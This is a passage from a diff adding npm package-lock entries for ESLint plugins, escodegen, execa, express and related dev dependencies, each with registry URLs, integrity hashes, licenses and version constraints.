"https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/escodegen/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint": { + "version": "8.57.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz", + "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.57.1", + "@humanwhocodes/config-array": "^0.13.0", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-react-app": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz", + "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/eslint-parser": "^7.16.3", + "@rushstack/eslint-patch": "^1.1.0", + "@typescript-eslint/eslint-plugin": "^5.5.0", + "@typescript-eslint/parser": "^5.5.0", + "babel-preset-react-app": "^10.0.1", + "confusing-browser-globals": "^1.0.11", + "eslint-plugin-flowtype": "^8.0.3", + "eslint-plugin-import": "^2.25.3", + "eslint-plugin-jest": "^25.3.0", + "eslint-plugin-jsx-a11y": "^6.5.1", + "eslint-plugin-react": "^7.27.1", + "eslint-plugin-react-hooks": "^4.3.0", + "eslint-plugin-testing-library": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": "^8.0.0" + } + }, + "node_modules/eslint-import-resolver-node": { + "version": "0.3.10", + "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.10.tgz", + "integrity": "sha512-tRrKqFyCaKict5hOd244sL6EQFNycnMQnBe+j8uqGNXYzsImGbGUU4ibtoaBmv5FLwJwcFJNeg1GeVjQfbMrDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.2.7", + "is-core-module": "^2.16.1", + "resolve": "^2.0.0-next.6" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-import-resolver-node/node_modules/resolve": { + "version": "2.0.0-next.6", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.6.tgz", + "integrity": "sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "node-exports-info": "^1.6.0", + "object-keys": "^1.1.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-module-utils": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz", + "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.2.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + } + } + }, + "node_modules/eslint-module-utils/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-flowtype": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz", + "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "lodash": "^4.17.21", + "string-natural-compare": "^3.0.1" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@babel/plugin-syntax-flow": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.9", + "eslint": "^8.1.0" + } + }, + "node_modules/eslint-plugin-import": { + "version": "2.32.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz", + "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@rtsao/scc": "^1.1.0", + "array-includes": "^3.1.9", + "array.prototype.findlastindex": "^1.2.6", + "array.prototype.flat": "^1.3.3", + "array.prototype.flatmap": "^1.3.3", + "debug": "^3.2.7", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.9", + "eslint-module-utils": "^2.12.1", + "hasown": "^2.0.2", + "is-core-module": "^2.16.1", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.8", + "object.groupby": "^1.0.3", + "object.values": "^1.2.1", + "semver": "^6.3.1", + "string.prototype.trimend": "^1.0.9", + "tsconfig-paths": "^3.15.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9" + } + }, + "node_modules/eslint-plugin-import/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/eslint-plugin-import/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-jest": { + "version": "25.7.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz", + "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/experimental-utils": "^5.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + }, + "peerDependencies": { + "@typescript-eslint/eslint-plugin": "^4.0.0 || ^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@typescript-eslint/eslint-plugin": { + "optional": true + }, + "jest": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-jsx-a11y": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz", + "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "aria-query": "^5.3.2", + "array-includes": "^3.1.8", + "array.prototype.flatmap": "^1.3.2", + "ast-types-flow": "^0.0.8", + "axe-core": "^4.10.0", + "axobject-query": "^4.1.0", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "hasown": "^2.0.2", + "jsx-ast-utils": "^3.3.5", + "language-tags": "^1.0.9", + "minimatch": "^3.1.2", + "object.fromentries": "^2.0.8", + "safe-regex-test": "^1.0.3", + "string.prototype.includes": "^2.0.1" + }, + "engines": { + "node": ">=4.0" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" + } + }, + "node_modules/eslint-plugin-jsx-a11y/node_modules/aria-query": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", + "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.37.5", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz", + "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.8", + "array.prototype.findlast": "^1.2.5", + "array.prototype.flatmap": "^1.3.3", + "array.prototype.tosorted": "^1.1.4", + "doctrine": "^2.1.0", + "es-iterator-helpers": "^1.2.1", + "estraverse": "^5.3.0", + "hasown": "^2.0.2", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.9", + "object.fromentries": "^2.0.8", + "object.values": "^1.2.1", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.5", + "semver": "^6.3.1", + "string.prototype.matchall": "^4.0.12", + "string.prototype.repeat": "^1.0.0" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz", + "integrity": "sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/eslint-plugin-react/node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/eslint-plugin-react/node_modules/resolve": { + "version": "2.0.0-next.6", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.6.tgz", + "integrity": "sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "node-exports-info": "^1.6.0", + "object-keys": "^1.1.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/eslint-plugin-testing-library": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.1.tgz", + "integrity": "sha512-5eX9e1Kc2PqVRed3taaLnAAqPZGEX75C+M/rXzUAI3wIg/ZxzUm1OVAwfe/O+vE+6YXOLetSe9g5GKD2ecXipw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/utils": "^5.58.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0", + "npm": ">=6" + }, + "peerDependencies": { + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "eslint": "^7.0.0 || ^8.0.0", + "webpack": "^5.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/jest-worker": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/eslint-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/eslint/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/eslint/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/eslint/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/eslint/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estree-walker": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", + "dev": true, + "license": "MIT" + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expect": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-30.3.0.tgz", + "integrity": "sha512-1zQrciTiQfRdo7qJM1uG4navm8DayFa2TgCSRlzUyNkhcJ6XUZF3hjnpkyr3VhAqPH7i/9GkG7Tv5abz6fqz0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/expect-utils": "30.3.0", + "@jest/get-type": "30.1.0", + "jest-matcher-utils": "30.3.0", + "jest-message-util": "30.3.0", + "jest-mock": "30.3.0", + "jest-util": "30.3.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/express": { + "version": "4.22.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.22.1.tgz", + "integrity": "sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "~1.20.3", + "content-disposition": "~0.5.4", + "content-type": "~1.0.4", + "cookie": "~0.7.1", + "cookie-signature": "~1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.3.1", + "fresh": "~0.5.2", + "http-errors": "~2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "~2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "~0.1.12", + "proxy-addr": "~2.0.7", + "qs": "~6.14.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "~0.19.0", + 